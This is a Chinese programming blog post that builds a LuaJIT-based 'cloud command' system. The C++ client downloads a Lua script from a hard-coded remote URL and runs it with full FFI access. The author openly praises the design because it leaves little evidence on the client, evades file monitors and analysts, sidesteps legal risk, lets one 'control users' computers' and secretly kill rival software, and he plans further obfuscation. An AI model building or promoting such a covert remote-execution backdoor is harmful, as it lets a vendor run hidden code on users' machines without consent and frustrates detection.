在《在windows程序中嵌入Lua脚本引擎--使用VS IDE编译Luajit脚本引擎》开始处,我提到某公司被指责使用“云命令”暗杀一些软件。本文将讲述如何去模拟一个简易的“云指令”执行系统。(转载请指明出于breaksoftware的csdn博客)
首先我们思考下“云指令”的优点:
1 一次性执行,在客户端几乎无法得知其被执行的证据。在CS体系结构中,如果我们要完成某个业务需求,往往要修改二进制文件,并发布到客户端。这样,我们在客户端的副本将有机会去执行相关逻辑。如果我们要做些坏事,比如暗杀某个软件,我们要是在客户端写死这个逻辑,很容易被逆向从而被举证。这将面临法律风险。如果我们服务端向客户端发一些指令(二进制流),这些指令会被执行,从而做些操作,将很难会被发现。
2 节约流量。有人可能会想,那为什么不从服务端直接拉一个Exe去做这样的操作呢?如果去拉取Exe,将很容易被FileMon这类软件发现,从而让举证者轻易拿到我们Exe文件并终止我们“毁尸灭迹”的操作。这就是为什么不发一些小的Exe去执行指令的原因。还有一个原因便是文件大小,Exe文件一般来说会比我们编写的Lua脚本要大。
我想第一点就已经非常吸引你了,试想,如果有了此功能,那么我们就可以轻易操控用户的电脑了。
下面我们看下如何实现这样的一个“云指令”系统。
1 编译生成一个Luajit的Lib文件
紧接前一篇文章。我们新建一个名字叫LuajitLib的工程。它的目的和LualibProject工程相似——生成一个lib文件。但是我们这次要生成一个我们已知导出函数的一个lib,该函数将完成执行指令的操作。
和LualibProject工程一样,我们要链接Lua工程生成的obj文件。在Librarian->General->Additional Dependencies中设置
$(TargetDir)libobj\lib_*.obj $(TargetDir)ljobj\lj_*.obj $(TargetDir)lj_vm.obj在Librarian->General->Export Named Functions中设置导出函数名 ExcuteLuaString
"$(SolutionDir)Header";"$(SolutionDir)OtherHeader"其他和LualibProject一样。我们给LuajitLib工程新建一个头文件
#pragma once #ifdef __cplusplus #define EXTERN_C extern "C" #else #define EXTERN_C extern #endif EXTERN_C void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize );其中第一个参数是我们传入指令的地址,第二个参数是指令的长度。
#include "ExcuteLua.h" #include "lualib.h" #include "lauxlib.h" void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize ) { int nStatus = 0; lua_State* L = luaL_newstate(); luaL_openlibs(L); nStatus = luaL_loadbufferx( L, lpBuffer, ulBufferSize, NULL, NULL ); nStatus = lua_pcall(L, 0, 0, 0); lua_close(L); }这个CPP也很简单,就是简单的实现执行Lua执行。如此便生成一个名字为LuajitLib.lib的文件。
2 编一个简易的客户端。
为了尽量简易,我们就新建一个名字为LuaConsoleTest的Console程序。该工程将引用1中生成的lib文件。
同时,该工程提供一个下载工程,即模拟从服务端下发数据。
#define MAXBLOCKSIZE 1024 BOOL GetCloudCmd( const std::string& strUrl, std::string& strCmd ) { BOOL bSuc = FALSE; do { HINTERNET hSession = InternetOpenA("IE/1.0 ", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if ( NULL == hSession ) { break; } HINTERNET handle = InternetOpenUrlA(hSession, strUrl.c_str(), NULL, 0 , INTERNET_FLAG_DONT_CACHE, 0); if ( NULL == handle ) { break; } byte Temp[MAXBLOCKSIZE] = {0}; ULONG Number = 1 ; while (Number > 0 ) { InternetReadFile(handle, Temp, MAXBLOCKSIZE - 1,& Number ); strCmd.append((char*)Temp); memset(Temp,0, MAXBLOCKSIZE); } InternetCloseHandle(handle); handle = NULL; InternetCloseHandle(hSession); hSession = NULL; bSuc = TRUE; } while (0); return bSuc; }在主程序中,我将执行获取“云端指令”和执行指令的操作。
int _tmain(int argc, _TCHAR* argv[]) { std::string strUrl = "http://dl5.csdn.net/fd.php?i=341748182061456&s=95f3ecf9a259c4f38fcf60493a699287" ; std::string strCmd = ""; if ( GetCloudCmd(strUrl, strCmd) ) { ExcuteLuaString(strCmd.c_str(), strCmd.length()); } return 0; }该段中URL是我写死的一个地址。这是为了简易,如果想搞的复杂,可以考虑让服务器下发地址或者直接下发命令。
我在服务端保存的是一个简易的Lua脚本。该脚本使用了ffi库,即让我们可以像使用C语言一样写Lua脚本,这个也是令人非常激动的一点。
local ffi = require "ffi" ffi.cdef[[unsigned int GetTickCount()]] print(ffi.C.GetTickCount())这样,客户端就执行了”云指令“——打印出TickCount。
可能有人会提出更高的要求,比如这个Lua的内容太长了!其实它真的不长,但是的确我们可以让它短点,而且让这样的函数名不再明显,增加破解者阅读的难度。我会在之后讲解如何去封转自己的Lua库,如何编写更“难以阅读”,更简短的“云指令”。